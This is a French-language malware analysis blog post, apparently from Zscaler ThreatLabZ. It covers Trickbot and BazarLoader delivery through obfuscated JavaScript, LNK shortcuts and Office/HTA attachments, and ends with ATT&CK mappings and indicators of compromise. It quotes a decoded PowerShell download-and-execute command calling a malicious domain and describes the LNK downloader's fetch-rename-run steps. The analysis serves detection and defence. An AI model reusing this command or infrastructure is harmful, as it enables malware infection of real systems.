L’équipe de recherche du Zscaler ThreatLabZ surveille quotidiennement des milliers de fichiers afin de repérer les menaces nouvelles et persistantes, dont l’un des trojans bancaires les plus importants de ces cinq dernières années : Trickbot. Trickbot est actif depuis 2016 et est lié à un grand nombre de campagnes malveillantes impliquant le minage de bitcoins et le vol d’informations bancaires, d’informations personnelles identifiables (PII) et d’identifiants. BazarLoader est un dérivé de ce trojan, développé par les mêmes auteurs. Tous deux sont particulièrement dangereux car ils sont facilement modifiables et peuvent délivrer des payloads en plusieurs étapes, mais aussi prendre le contrôle total d’un ordinateur.
ThreatLabz a découvert que les opérateurs de Trickbot utilisaient de nouvelles approches pour diffuser des payloads lors de récentes campagnes d’attaque. Les échantillons de programmes malveillants que nous avons analysés étaient bien conçus et fortement obscurcis, et capables d'éviter les sandbox. Dans cet article de blog, nous présentons une analyse des différents vecteurs de diffusion exploités par Trickbot et BazarLoader.
Points clés :
1. Les scripts et les fichiers LNK ont introduit des techniques d’évasion pour renforcer les menaces du programme malveillant.
2. Un obscurcissement multicouche permet d’empêcher l’analyse des fichiers JS et LNK.
3. Une pièce jointe Office dépose un fichier HTA contenant des extraits de fonctions HTML et javascript.
4. Des domaines récemment enregistrés sont utilisés pour transmettre les menaces.
Trickbot élargit sa gamme de types de fichiers pour diffuser ses programmes malveillants
Lors des campagnes précédentes, les payloads de Trickbot étaient généralement déposés sous forme de pièces jointes malveillantes attachées à des fichiers Microsoft Office. Le mois dernier, nous avons constaté que les programmes malveillants ont également utilisé un grand volume de fichiers javascript, ainsi qu’une série d’autres formats de fichiers, comme illustré dans les graphiques suivants :
Fig. 1 : Trickbot bloqué dans le Zscaler Cloud Sandbox
Fig. 2 : BazarLoader bloqué dans le Zscaler Cloud Sandbox
Dans cet article, nous allons parcourir la chaîne d’attaque de plusieurs vecteurs de diffusion, notamment :
- La diffusion de Trickbot par le biais de fichiers de script
- La diffusion de Trickbot par le biais de fichiers LNK
- La diffusion de BazarLoader par le biais de pièces jointes Office
La diffusion de Trickbot par le biais de fichiers de script
Trickbot s’infiltre par le biais d’e-mails de spam contenant des pièces jointes malveillantes en javascript, comme dans l’exemple suivant :
Fig. 3 : Pièce jointe d’un e-mail de spam
Dans ce cas, le fichier Javascript [5B606A5495A55F2BD8559778A620F21B] comporte trois couches d’obscurcissement qui sont principalement utilisées pour échapper et contourner les environnements de sandbox. Ci-dessous, un instantané de la première couche obscurcie :
Fig. 4 : Première couche d’obscurcissement en javascript
Les auteurs de programmes malveillants font non seulement tout pour obscurcir fortement les fichiers javascript, mais ils ont également ajouté de grandes quantités de code parasite à la fin pour compliquer le débogage. Il s’agit de chaînes de caractères obscurcies générées de manière aléatoire qui ne jouent aucun rôle dans le code malveillant.
Fig5 : Code parasite destiné à compliquer l’analyse
À l’aide de la fonction eval(), nous avons désobscurci la deuxième couche dans laquelle le code malveillant est incorporé avec de nouveau du code parasite. Après avoir éliminé cette couche de code parasite, nous avons à nouveau utilisé la fonction eval() pour récupérer la dernière couche de code. Nous pouvons voir que les auteurs de Trickbot ont utilisé la méthode setTimeout(), qui évalue une expression après 967 millisecondes pour retarder l’exécution dans le sandbox. Cela permet au programme malveillant d’échapper aux environnements de sandbox.
Fig. 6 : Deuxième couche d’obscurcissement en javascript
Dans l’instantané ci-dessus, nous pouvons voir la méthode de remplacement mise en œuvre dans le code où les chaînes “"hdBDJ" et “tSJVh” sont retirées des variables “YHPhEFtKjqbCmAZ” et “kVYJOrLSqvdAWnaGTX” respectivement pour obtenir la chaîne finale.
Fig. 7 : Couche finale
Le Javascript malveillant exécute cmd.exe en tant que processus enfant, puis cmd.exe exécute powershell.exe pour télécharger Trickbot en tant que payload.
Flux d’exécution :
Wscript.exe->cmd.exe->powershell.exe
Powershell.exe est intégré avec une commande encodée en base64 et après décodage, la commande suivante est :
IEX (New-Object Net.Webclient).downloadstring(https://jolantagraban{.}pl/log/57843441668980/dll/assistant{.}php")
Fig. 8 : Détection par Zscaler Cloud Sandbox du téléchargeur Javascript
La diffusion de Trickbot par le biais de fichiers LNK
Les extensions Windows LNK (LNK) sont généralement considérées par les utilisateurs comme des raccourcis, et nous avons fréquemment constaté que les cybercriminels utilisent les fichiers LNK pour télécharger des fichiers malveillants tels que Trickbot. Trickbot dissimule le code dans la section de l’argument sous la section des propriétés du fichier LNK. L’auteur du programme malveillant a ajouté des espaces supplémentaires dans le code malveillant pour tenter de compliquer le débogage du code par les chercheurs. Nous avons déjà observé cette technique dans la campagne Emotet utilisant des pièces jointes Office malveillantes en 2018.
Fig. 9 : Code intégré dans la section des propriétés de LNK.
Téléchargement de Trickbot :
- LNK télécharge le fichier depuis 45.148.121.227/images/readytunes.png en utilisant un argument silencieux afin que l’utilisateur ne puisse voir un message d’erreur ou une action de progression.
- Après le téléchargement, le programme malveillant enregistre le fichier dans le dossier Temp sous le nom application1_form.pdf.
- Enfin, le fichier est renommé de application1_form.pdf en support.exe et exécuté. Ici, support.exe est Trickbot.
Fig. 10 : Détection du téléchargeur LNK par Zscaler Cloud Sandbox
La diffusion de BazarLoader par le biais de pièces jointes Office
Il s’agit de l’une des autres techniques utilisées par TA551 APT également connu sous le nom de Shathak. Des documents Office malveillants déposent le fichier HTA dans “C\ProgramData\sda.HTA”. Ce fichier HTA contient du HTML et du vbscript conçus pour récupérer une DLL malveillante afin d’infecter un hôte Windows vulnérable avec BazarLoader.
Une fois activé par macro, le processus mshta.exe s’exécute pour télécharger un payload. Cette campagne a déjà été observée dans le passé en train de diffuser BazarLoader et Trickbot.
Fig. 11 : Chaîne d’attaque d’un fichier DOC pour télécharger BazarLoader
Les données codées en Base64 sont implantées dans la balise HTML <div> qui est ensuite utilisée avec javascript.
Fig. 12 : Fichier HTA déposé, données malveillantes encodées en base64 sous la section HTML <div>.
Ci-dessous l’instantané du décodage des données en base64 dans lequel nous pouvons voir qu’il télécharge le payload et l’enregistre en tant que friendIFriend.jpg sur la machine de la victime :
Fig. 13 : Fichier HTA déposé, données Base64 décodées
Mise en réseau : C&C pour télécharger BazarLoader
Fig14 : Envoi d’une requête pour télécharger BazarLoader
Nous avons également observé des domaines nouvellement enregistrés (NRD) spécialement créés pour distribuer ces payloads, à l’aide d’un stealer livré par le biais d’un e-mail de spam et associé à une pièce jointe Microsoft Office malveillante.
Fig. 15 : Domaine nouvellement enregistré
Fig. 16 : Détection par Zscaler Cloud Sandbox d’un téléchargeur de fichiers Office malveillants
MITRE ATT&CK
T5190 |
Collecte d’informations sur le réseau de la victime |
T1189 |
Compromis furtif |
T1082 |
Découverte d’informations sur le système |
T1140 |
Supprimer l'obscurcissement/Décoder des fichiers ou des informations |
T1564 |
Cacher des artefacts |
T1027 |
Fichiers ou informations obscurcis |
Indicateurs de compromission
MD5 |
Nom du fichier |
Type de fichier |
B79AA1E30CD460B573114793CABDAFEB |
100.js |
JS |
AB0BC0DDAB99FD245C8808D2984541FB |
4821.js |
JS |
192D054C18EB592E85EBF6DE4334FA4D |
4014.js |
JS |
21064644ED167754CF3B0C853C056F54 |
7776.js |
JS |
3B71E166590CD12D6254F7F8BB497F5A |
7770.js |
JS |
5B606A5495A55F2BD8559778A620F21B |
68.js |
JS |
BA89D7FC5C4A30868EA060D526DBCF56 |
Subcontractor Reviews (Sep 2021).lnk |
LNK |
MD5 |
Nom du fichier |
Type de fichier |
C7298C4B0AF3279942B2FF630999E746 |
a087650f65f087341d07ea07aa89531624ad8c1671bc17751d3986e503bfb76.bin.sample.gz |
DOC |
3F06A786F1D4EA3402A3A23E61279931 |
- |
DOC |
URL associées :
jolantagraban.pl/log/57843441668980/dll/assistant.php
blomsterhuset-villaflora.dk/assistant.php
d15k2d11r6t6rl.cloudfront.net/public/users/beefree
C&C :
Domaine |
Charge utile |
jolantagraban.pl |
Trickbot |
glareestradad.com |
BazarLoader |
francopublicg.com |
BazarLoader |